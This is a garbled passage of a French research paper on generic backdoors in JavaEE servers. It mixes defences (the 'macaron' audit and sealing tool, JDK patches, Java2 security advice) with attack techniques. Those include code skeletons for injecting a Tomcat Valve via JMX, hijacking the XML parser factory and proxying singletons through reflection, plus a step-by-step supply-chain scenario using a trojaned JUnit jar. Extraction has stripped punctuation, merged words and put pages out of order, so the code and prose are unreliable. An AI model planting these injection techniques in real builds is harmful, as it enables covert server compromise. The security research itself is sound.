ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
